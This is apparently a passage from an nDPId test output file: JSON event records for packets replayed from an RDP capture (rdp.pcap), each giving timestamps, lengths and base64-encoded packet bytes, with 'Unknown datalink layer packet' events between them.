Y9VQxOMkNFF4O+VRzbqCFwnlbeMCb28vmTUvh\/Cvh8C4RLKb\/yZVXNOeDf6T\/k0Zd1Q83xlBmpNoK4PkN73Ur+Zwjcg68kRzYorv\/G3sQrR0lIX5CdOIg8O01mT\/hqMwt43LZlN7\/QiVB1qqoYHnHug\/NDzV78V2MLmhy8zHMKbHeDLswkx6sEOS4LcAWpjyh2zU8tI\/AJPpcHKpcpMoXm0Z\/PDk0FhaSxrkpJVKEXSq4V56aPucptvriuEnfICI7KX+h7ulgkZoYACU06tScz3M397R\/hs3nRheokjy5yrfzvMfe+PK4qpsN0hYamyIfRXq4+s0wTybWv4zJGJ4c1Puhu8D4tx+T6sTehOOxlw9gGYR2AK\/pPb5d8zNugFZB4dClSapIc5ZmyGrAhjzrRpJ8HPmOYRi+8YTROHyzQGH4MmsL6sAOBHv0UJ6GwfFxM7VzHmmgCsD1quc8poT5oylLKEWR5DV+vAcXFsddzBy\/ZZMUYBruY\/JQFscsRTJ1XyOGzYIVJm70OhpjqKnmImVIxA5T1AfJM0bg\/Osf4BcQlo1u0uDG6+iA1ndBGdqxGoiqfRL3XZxW3oLY0iSAf0XxhMKJJ02GetG\/GxfuK8HdlZa1jAtRVrFAWzUut6HmQkjN62bP\/IS+Drpx5O\/K6tCUZ\/HyTekHkWuaM2nHCf+Wr2O1QyPirDipU\/sq3HJ1g6GRYddxovitdoeab9+WKccYHd+zlUBOdiHUpEZTM8Txj9odTOIrczUjf2GvLSYi95cpp5CSKJdL4\/G0pTmbkQirxAN16SII73QZnmkd8Gcsz8aQ2uLCTNVRqwDQvojsg1Da9xMMhcqEhtxhB\/NtDbmsDHa7GwMAMInbpxNtywF\/wsAEdptv6z7+Ya50oKVOCSH34zZvOMgjgUQRKR4nliUv55oDeNIqHAL8y3ZE7bpTJt9IGasw4JOjYXg0i2\/LoK86KEc1BDQUWPVLSmCeVbiZOnwce0ZDhyH6TVw59jnzybHSmir2\/Obn8R4njmzzSoOoBFBFlIa0Xepnq\/bgB+rsgjNyq5zSWdhXEQjOD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1362,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1363,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438134,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Go9HnwMRUBAf9OSXAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1363,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1364,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438280,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiS0AAfwYmCsCoAo6sEAK5DT3NDkefCAr5vRlBUBj43wO6AAAevMR4XS992Fp7wy4u1vLMki5IFuBf4GRi\/czofNt2THoisVN2d72n0TdylRG7ZD7E4O2kedt87LpSyZ+exnRE6\/e55OzXQI9FDRcLUqD38IQA1+Lwwum72FBwZHjtJDHBrs\/VJ0CvUMe9MYv2PNcoPe7iIn6K\/4hkp6QZoh70FOoF9W3bCGsdQagco6mGfiovcZCIGvwE4uDPwW8e9cJL5eCn0CGDbUkV3sybDodBMCDguzq3PN05IyIFdweMTswLRNQCmhH0mZgZSEs5i+bFe+xUUPXQrRzhG4UWij5ziLkfxBtDwhwO8eLL59KjI0c34wNY+qhoxvV5oHwwdm\/rMH2qhk5e+Faw8JLSLFjS17eci+P4HcVZo\/16Tyxg74B7VYMK23yQ\/AGPBoicroSMCzk1tQCDhHwqW490c897jxIjl5zOEtKdBWl3Cr2qvXgKqmJgBq\/bkgK9jXLPXCoRotzfA93jhlOLDy4YMkNYBuUyGq03T6dbSKfk"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1364,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1365,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438335,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Go9HnwmFUBAf9N4jAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1365,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1366,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438574,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiTEAAfwYii8CoAo6sEAK5DT3NDkefCYX5vRlBUBD43x76AAAXAwMGbwAAAAAAAAG66gjb7B1kVSQfXrrHGci9SnfOVBM2wW8Bf9R6+sBiw3b93V0PDYynNF1SR2DjpX4Q96xb5TnPnlud+bW\/Mem3oFxTE8sFjV1Ox1tFFFgmhFYPjztq\/jO+dfN1SC\/Cb8iv5swuL7wUti5+LoNxvLQASIaPeel4mWNsqoOnfReNnQStREwLWenaVtjQ6J0X2WRf9najTaBp7egKJcJyuewPUkoNnkeg0GQ8t+xKb4SsvKNthLVGpoXUF3CH+qlEa2ji4vL75Ee5QBEUkxNXF0md+X1pF75hcgbY0Pr9UAwipF9KZbydMOQeJZKOSNxcHoUL8I\/Ac+VMLLDaHIghaQJKyxScIM0QAtzOlzRld5501FOa0ff\/WuJZWHyZnir53b7GlPPo5x5ldmBkLliF\/mlWeW2VHqraTD1phgnPHY4zspRboG+J9zE5Adhbvoynr+KX+i0trT15UV8z9YJ0aD1K3sAGtoJk0JQbEp7fqwBKoxNkhQuTXdkaFsyaTJKaa6tKgJhMmMuKgAwXeNhr7MZwHQcy8AXl0yShamRN41c3CMJOvWc\/nP4g5ZD5zs98WFj8s1QiBvGmE4KOmVPz\/PWfJ5IRf3XxMXQCxvn40Tk6ILzxQ1ls70pwc3Xt1cKWMnS9ZI6KbafNTVIPxRKNovMCfNBIaL7DGtnMz77zg6pmwvFZX\/ge5ztEIQ3mRKGEJDMgOv0DdXe0E2YevswJhMAK0viU2r1uumpvUJ2QNNEzD94zEKGlyCPGQjytXZEwuKJW0o\/nAvQwkJHU9KZMml4sWLzvdLvQSccf\/QjPmjLQ0Eo64JfRrlQJUU+WklWGOobAM8IS94ZO5BEAoS6n2P8tHYPDPm1Owrvt+JphyOracQgIFTY8EXgAL8Fcb9BGpTIpKICcm1foFr131OvlxXyS0\/oo2bw3xFwQTJVoshe1ppWmAQ7Kn3rK7nRHO2cCg1gG1klx\/KINh\/GIJHJW6Gl4EfdBBe0amf4t5aH9PCdc\/mazoxB82jef1H9+POj\/0CD5BNZB3QseSBc\/OKz9wxQb8VJNREFA\/TdZE5Ux47e7HBL6KlEql9qF+NtXkigm9oM7+w6TP\/5iZETIIzpOOuWexMJj4ZntPMfUcgcqJ6xcZ397\/Hw\/bNFoZlHr8ydDJ3vqkhIPc7I9b8BOtk6shIAPPpRUA21oHFG9tInKGDXUo6H2KxWrIWTMENSk7tAQ3AapuzzbLw8pc92V7XIXjsjik38Ygr2\/74AQYiDlZvX9LLJy2vKfu4iZT32YgZNcELUg5rNcyDe3+qSVZGJgYOjbZRUDuxdgLgMOUqCV0xTXbDxsSpIF8GIyrvxRvaB\/KwIuVhQnSZ1EO8HXTwY032p\/4fkrZ131+uskWywfT8a9Qno8HPXgYwptFZo\/XG\/qNDUqI7WAl2p6KBGwIztpkfqIZ1PHY8GW7lUeW6\/oqb6dxOkTmVNrLPXjqEuGZ986hSp8TEQq0r8z1V1nzbLCh6m0FVDcOb9Bfb5p5lCVQ5i84KP6Qu\/+vZkS6\/f\/2FHT3puARsHDvzdkHOvU9QpH5g02KYAwkiku2r6k1F2JScSmEHe\/Q0O5IwEDu0Bb7fLaUooszeZ4\/JeWdl0CBLuKK5lWfLVFgv5Ehf46nyV0ERpDgZS4hE97VM9RNpZ4OqdgECZZbqZSst3JafjDijcI"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1366,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1367,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438615,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiTUAAfwYmCMCoAo6sEAK5DT3NDkefDn75vRlBUBj43+HvAABE\/W54shpiSQnCkpibQd1\/ABRwVfwjWjUMwC4pLAIOe4e3NUdj74HeyFFHw+sc3i8MRsmiReIeitSeugIOprCoGirk0TIiZQut\/hJtab8LQ6YfU7nfykm2Kfm40NuBbiN\/i8pwLV+Jt6+KObT3d+iBF0uYVtBotj2bw44vAKHf4bN8RDQYY9NjNVaLGK+8\/JWWxNPqH5EoIHzMIM1eZbc2KZ6aIwCLEn4KnF8hbdD1I8xoudfy8b2CP4EuJ+6zYfmRh9tZ8jvUlB4z28X8mKa7Vf7\/rbcHuPovbcgU4WEQZkMyA77kStzRY7BU3qWmZMC6xTMkw8vMn0UZB6TFah+J5aayqTn6QnZrlHc7pjxolMGlN2TklcdKzRj0xyqoNoyhO3GQFF7fskJ+n0TckvverHWH8H6IiDDU5oEnki3wCE8h9N2zLrbfKgqRV6qaBxymH4MfYdPkhGwPqIx9IxN20GpUu0N6EP3PC0VC7wC+6kH\/fzAwXczpbKlX"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1367,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1368,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438653,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Go9Hnw\/5UBAf9NevAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1368,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02082{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1369,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438764,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiTkAAfwYiicCoAo6sEAK5DT3NDkefD\/n5vRlBUBD43ymWAAAXAwMGbwAAAAAAAAG7PC4kHU9uhv4xe50kQVdbILZETrebEuFxwAG0UM8uKkcYc\/ziTqlNqFrjp7ubYTbjcrkJUWC+OxMMcLt3FizN06H3yGk6V5yUdTh2853Je7JHYxqrs\/U3Uq\/RT323vFayHBPDLbv7BKdvjSZ4lXW2wigcbpFSYo2mPi+e39rYW9Odyw5TwF3GZE7FuJxt5BYtCC3Zj5VHpClL5GDpsCE99M3RSJEYiTtFtoz\/zED+QcuqL7v+QZ1L+J0H7SwPC9kjNRgb3xpG05IPY2EJW+iiqhHc5TYxKzytff+qfLmLNz4Qj0mEwA8nm4EQisS6bkgi0rjMuZwc\/zIzMZzQ\/jrXRRA\/byLCihqFL7uPP5TU979j5WKJ6iUzFPgtIJYHRRTMijRUVPghRgh9xyxzzmE8qCgXogELHEoQf1IlVCvOUE4E7nxrY9JMK1UH5+u5YXchnY6RtVwirnprpi7lPUokjZESo+QdepA15Yol4Y0MCxL7NjjieNlGid\/j6YkH7Oipgf5LTK2NEZ5iRZlx7CxS5yQcctNlNF5cj\/fnyNmJAKAlOQI\/we2aGIBkANM31rXPjC\/XcZPxvc9ZdEG+OZrm7to467nQKtTZFgCELSszZ\/DLUz3DzuvWT7lJ3QNRG6a4OGMgGKC8q3SRQ7kHEXICWbBkKNOA38CtxGb+4Atoe74wEqpYKWXtFhROA2JsNX6aKkfA8nR7iADOFTh\/uWPKOdamPWTP5X8vsXtWfXWBlp4lREHT2OrsY2\/bRqROOdBmjBkMgULXpA2q\/j+AFFyxng6RXtscd5ygE1meSdsH1z\/enzWiwv8z+mYscW2T2bS9ul0CJDfJu4yLqbPijzCkKi4ekeXOdLDLOLprRKy6pUtEzXmvJeuEUj59u4ZVGD3oyhU+uSLLBrva+pAQMSwEkVbu5xy6RRNkMEJeu0kP47Hzkq7ToanfBY00q4FooNgiPpJbard+DAB3xJuKWG1oqVeLTPqEM5aFlhZZ6Jz\/VdDPkz5jvqcP+t++8S5lkNk5FasCFfAXgDTZbRcENiMKRlJDLR0NtXZQ3263Ynk53ywLr27gwP\/qtOlT+VnK9HA5Bo5gUp1DpQZzdBAccgDlg1n\/AT\/+Tgc\/ONL0G5fC1yTLvodNQA5bgUJc8zoD2CcB5H0DfHkF2d98Q1Ls\/QEadLlYi8UajOwzURCp5wqCqkpShXjjZcve0FmHuBWJnFaqQJcKvJlcBhmtPrtlQF\/RWkbyW48MAFfRkqVU8bz9Q1v2DQaE1lv8X0OxU8MDMnDOl2Hl1X9N+nTjhu4z3m4hPJf6WURG02KwkG6JK+TdsrbLQPRPspLmxeqTIEHJhtz7SaCOPf7ArJEVJuPmyEjyxrlEot9pabZAPKxZSVu0O6BvwvYmbNfsSkrhKhvN\/9QcfsIvo1qPKYni0e7yClDnp9oXzx1KAfjxECFUFl5MLHoyG6UadLQhJfdUMmrc2bb4w\/xhJBvRAXAUM1j+4hzr9\/fFYmD0lfAWwoj80fa5t3Ky19WmNEuZ3rCJODA5gKrQlMUrsq7hs1pprjbLWHqguaS1mSyZE+NiPfSMBGn28TwyWbZAbHPqw+S+f+0VNezr\/wrQB7J\/3qOWagJkJON2ygLkvcS\/nKpiuvMk92Mok4WJuVXs83FpgvISlaJdwhNRZDmJ+MppDVCr4W\/C"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1369,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1370,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438814,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiT0AAfwYmBsCoAo6sEAK5DT3NDkefFPL5vRlBUBj430pbAAA63Y+0Ekb1uwmBxuuVhFUMbzx9pF7EXdNGMbFGitCwCzUWQJXWo0OgR25jqtausYqCmb0MTM24qqsf+Vogj4mDWXT9qwUZd4E\/PkkyeGNtVFz\/ZY4kV68dyAJsoqFaiG\/U0gsUrUQOzGAoAmTtHP8TqnxqfQaR4zg1osP9iKMBaWy1IpSV9MqyrseVA4iaU3b4nBJa0UBVMB8UUmZDb4kkWgiYj0lLq1FEU6QyzYBFpZl0WIXS343yOn1Nz1mVPu7420mazxg2uI9KCTB+j4dcXz74+CzrrJRDx3CoBCCksT9jRqwu4idca1wcsuqkduoZTMaXwFbRoTgND6aHyb84yc7+y8MqmWlv+Hwm7FkFJzNXRJStgL8wK7bh5DDYNGHFrjqUw6oajLT0YjCB\/plyz4Bk5tyWMcmE7PxEFGgqNVT+YWer5Lp1qdrmyxEcslJLYYpAKFSZMMLfZakL82bPVfgFhhdlyjQRgXUSDUGI7POnQvx1z9t1A55D"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1370,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1371,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438926,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Go9HnxZtUBAf9NE7AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1371,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1372,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":439031,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iUEAAfwYnS8CoAo6sEAK5DT3NDkefFm35vRlBUBj430FiAAAXAwMAMAAAAAAAAAG8B6OKGZOx2oKebPojYZLYJ65WEYmtcgrhon5gM\/EmQVu8xEi\/jmnmIA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1372,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1373,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":439087,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Go9HnxaiUBAf\/tD8AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1373,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1374,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":439238,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9Go9HnxaiUBggACW0AAAXAwMAMOAIO32NJwwZujnhwATIPfRf7GTgJ5oPgUgcT2dHkYD3d26zHQ9A4QG5nSK+\/asiGQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1374,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1375,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":459879,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiUUAAfwYihsCoAo6sEAK5DT3NDkefFqL5vRlBUBD43xPlAAAXAwMGbwAAAAAAAAG92jcuNXYB1cUTGicfKBnqGjWTTmWiJU+dcDfIGWJ1nnjNxk\/UgG7MJc8KuDAWg7i9qDTWHSg\/9K\/gkA\/I+nYoliQ8rG8jAhMWHO0qr6luiJfiCx1kEi2s5My73XpXV2qAvI\/8hQ3yw0buBKO5Apzef6rDzyIJuaPR9gmze\/PTe+m7ynlUcc0vHPJyziywJQ\/kl9RlzWH6QsVJbqYOQNJA7cTLbjY\/7f8Ft0UcmIJlHguIXuEORwOwgb6uXvqW+aUy5fnHPHzbx1YZJwOqGQ+pC0zkEwdtxmIjyE4H4cwnOtDXarCHmpi\/EG5m9\/w4s0VEd2mejP7G1jX2kFhWjnAlfuMIr+ENcw86Y3aNniKxNLJ9Kje8KSjh\/Uf3XiMYAGdET9nBapZqr8zdld898d9+bYHp1hV+DDhwfJ7y2Y8fl3VmYNZGMW\/5IF3+9mGjQ47NcIiUhX3YosB\/ZlaTPYbHR08sUcHdiCGM6VCGlZJnkRaEEcRWYCrnYbNxNZ099sFs7HlUlqFoKn73Acu48eJF05\/FADhNMsE4qYXGi1eOpcnleYMhR5JjFczE8+4oeHYf1UJ\/YB3ZRORsE99N3VreO85M3itLwN0hD3qJxii0vFUjqTTFNP+Tvxiv7s+lMLrJRPlNd0ZEpTcmAouRWCx4G8HDMUUFh6kCZfVd9KXxirnFd72Ujtu2LYIYTXNuwo\/VhbPHdG9SJOKqdFkZtrFgorA9UVFbLe+yWnBVz8mqLLqZkG1pLj2SAfgZhymMZfhJAMO0W8C6USUr4MGIYUEXH6wiBLUVsBunEp6DpIpHZsAxKXWwyMBu86Q\/SFMf6bx4Ppk7R6qg2fjkKN+Ig4lcpAmiV8e9z\/6b6rOUbMrC05FCPxuC0pFZSFreuTsIiHc2A8YwGtpaMy8w30EPeP\/oRGKO9teV+lBCi56UI3kIyIEZ14kT82TFkFWf5gEWTYqJ8F4gTZsvDBukDDiNrVEgYe\/Fh\/D+9nU1T0gjTMsyoNcAi3EnPaImNCaURVkpyO0RUDV8qIb2F6ljZiWfWGaEB6M4vc+vpMVhvf2nQ6MVAx7ldCa7ntFNMRU30bH5CGcurFsNA4vw2tqlTUT18C5kcswUqlsTXEaMRYKoznEazCav11xevhSXypIIQKPdIM72PJO5OIxSlIfDCwSkovgTeVMixgByjqY4Ah2k8D2wRgKy2tIit5RWOgFoEaN\/VsxfLvdq9BqMa31Xato2bng4SqN4UibMzGamPTrBlP52XWvzNr5xHhCwBUINSBUSWFsZvlCP5DwYhWzl1ciUs3K53IZfOaU4Q1QOzzgTo3J5SOOsn0B0UW3ZiTJdJTNjrLYq5U6iD+XJlVnD2+zdSHcLaXp+l3S+Wp8L6Gqg0B\/TDhYaJ377sKmSTihzmttmurRCe4Tfwn\/Qcx9kzWrjwxDPqYJf5EccNbVd3Ww3eacMPyzh08HwkdbXjfLOkp2NI4bNzzGmcMOAsrurm3lvSTVg49e0nMRRwXSQ4hM0hZ3unNym7zklY62urjytjCeku+JTs8KhojW14HYnZxKDcpzm3z3\/585m\/\/GgM+FmxGKrGH4U6KxqaTdETeticVDYsalmvpyAjL97xTONc09qVxeIhd4HJ3L75Mp2Ilcc5MHvydkNqC7acxgiONNJdOn5d13OsVb3ykJQEIcU0cRO"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1375,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1376,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":459926,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiUkAAfwYmA8CoAo6sEAK5DT3NDkefG5v5vRlBUBj434jDAAB2EMhIqiZikuppouKem8dn4n8zJXyLD042JBP74umPGHvr6N2aKZjSAijk84yekXUogNeQPWj1kw9LyOTMgbglH0RvOo6tNFOWYUe2HdnnkaFUVkTfWDy8IfvKOcfaFmkqtWGtybvpbbGd+mAnKuj3N5wMga5\/S8+ojYjRIMl1sncE97tPMZF7Sy\/TiGwTyawNj5DJg8wEBCEUy9dfNAmvBPVr0K8vVda1dQZ2RdAYAzmr3II3XTrezFX6Tk\/5iIgWn+csF4Um2Td245l9MVAhjtqjYv4BS3VYo2KDHZC7lOOMekEEy9Jrz7BAcyJxGUcdkI65kM9HR1nrMuFr7w78dTquAfX+ZD5Lg7pOrdz\/Jp7gYvS00J0LDWHwrmPul12+geg54Og4qd7mQkvcIhQ9AiJooBEcAHn3QOSkzwwwmEITIRsUGWm86Gsj1BAm3btbsHST5R0bjTxl9v4zcI9vyL+yw3wJ4+QqhGziZmmg4QXVKULqqHW4qJt4"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1376,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1377,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":459961,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GsRHnx0WUBAfzMqFAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1377,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1378,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":459970,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iU0AAfwYnSMCoAo6sEAK5DT3NDkefHRb5vRlBUBj435yhAAAXAwMAMAAAAAAAAAG+pMIIPaFYRZ3PrpIJQQ8Dn\/MgY6Efz+tZy3\/cwBLbBoOerz8opSIwbQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1378,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1379,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":460045,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GsRHnx1LUBAf\/soeAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1379,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1380,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":460402,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9GsRHnx1LUBggAO\/HAAAXAwMAOOAIO32NJwwaCiUVfgc8ODE+qBuqDcNWhlfL4V3Q42h03wuhZcujIxboxZFJVd0MtSG98LT2nHK2"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1380,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1381,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":463827,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiVEAAfwYig8CoAo6sEAK5DT3NDkefHUv5vRl2UBD4quVnAAAXAwMGbwAAAAAAAAG\/8vnfZIRWDfsOL1Nydrsvs2ORDZvqSGexZU425\/JIq7xBH7BXJrijFxlfYvgUYZByC4pspJmu\/AU9Ff8EP0XzaE4L9T\/+YFqcx2ra7t252rDKG99h0N2wiosWn+mNnJm2GCSLjClz6BK3H45wLzdYtkqYXT+O2KIRlOCqpMM+EJ+lY9up+NK6blbomdMtOtyBx0cRxTQYtcLDNK90ZXs\/ConLjHmODYtNCg9zKQTewuzBygiusdWw1lV+uGvG+tUDj0mXXfX9nPS7IPxgQmma+SzbtLHnRpTxQ\/Re2lRexXryiFMIqRNLuM3pHgVoEyHfvGtAe2pMcD6TStpmFpBH5qsbckf60MqwyOBIVfzl\/Ha2MaAgByg642b86kP4\/k\/vuqm7LioDNIHd8KsRdvsXUoLLCduzlmcJQiDXyLgjPAhKsunnRj8fPWbWm5oUtN6ep85072uZd6GbsDGaq0JU6skfYWpBL4bLBRlqUI72PFN\/JScj7TPtkemJJzoKS35vRSNkusgNvdgDawPXhf\/j+UrgfVQppop2rTnqT6HWVN6BA14Q3jye5V3cjmEfBwbzhlVTjugBGSZPT4keHHwTR0mhAMBQqdWG1bPO4KAUVGE68Egggbrzz+KCGuW3NZ+Z